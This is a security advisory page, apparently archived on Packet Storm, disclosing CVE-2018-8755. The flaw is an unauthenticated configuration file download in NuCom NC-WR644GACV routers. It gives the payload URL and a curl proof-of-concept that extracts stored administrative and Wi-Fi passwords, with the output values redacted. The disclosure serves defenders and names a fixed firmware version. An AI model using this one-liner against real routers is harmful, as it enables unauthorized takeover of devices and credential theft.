exploit the possibilities

NuCom NC-WR644GACV Unauthenticated Configuration File Download

NuCom NC-WR644GACV Unauthenticated Configuration File Download
Posted Jul 2, 2018
Authored by Zerial

NuCom NC-WR644GACV with software versions STA 005 and below suffer from a configuration file download vulnerability that allows for extraction of the administrative credentials.

tags | exploit, bypass
advisories | CVE-2018-8755
MD5 | d0d26445c9f9d4f847ac07a07af4fee3

NuCom NC-WR644GACV Unauthenticated Configuration File Download

Change Mirror Download
Overview
========
Researchers of NVEL4 Cybersecurity company have discovered that it is
possible to access to the config file bypassing admin authentication and
authorization. The vulnerability has been reported to the vendor. The
vendor has confirmed the vulnerability but not issued to security advisory.

The recommendation to affected users is to update to the latest available
version and change the credentials used, since they could have been
extracted.

Some NuCom routers are exposed to internet.


Product Details
=============
* Type: Router / Access Point (Wireless Dual Band Gigabit VoIP Router)
* Vendor: NuCom
* Model Name: NC-WR644GACV
* Vulnerable Software Version: <= STA 005
* Fixed Software Version: STA 006

Vulnerability Details
===================
* CVE: 2018-8755
* Name: Unauthenticated Configuration File Download
* Type: Authentication / Authorization Bypass
* Description: An unauthorizated user can download config file by
accessing to the URL directly
* Payload: http://[hostname]/cgi-bin/config_download.cgi?action=download
* Impact: By downloading the config file an attacker can read all
password stored in plain-text and base64 then access vie web as
administrator and gain privileged control of the device.
* CVSS v3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
* CVSS v3 Score: 7.5

PoC
====

zerial@home:~$ curl -s "http://vulnerable.hostname/
cgi-bin/config_download.cgi?action=download"|strings|grep -i password
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password_realtext=[PLAIN
PASSWORD HERE]
InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.
WANPPPConnection.1.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password_realtext=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.5.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.ManagementServer.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.ManagementServer.ConnectionRequestPassword=[BASE64
PASSWORD HERE]
zerial@home:~$

*** Sensitive information has been removed and replaced by [...]



References
===========
https://blog.nivel4.com/investigaciones/vulnerabilidad-en-los-dispositivos-nucom-wr644gacv/
<https://blog.nivel4.com>
https://twitter.com/n4security
https://twitter.com/Zerial




cheers,
--
Fernando A. Lagos Berardi - Zerial
Seguridad Informatica
Linux User #382319
Blog: https://blog.zerial.org


Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    29 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close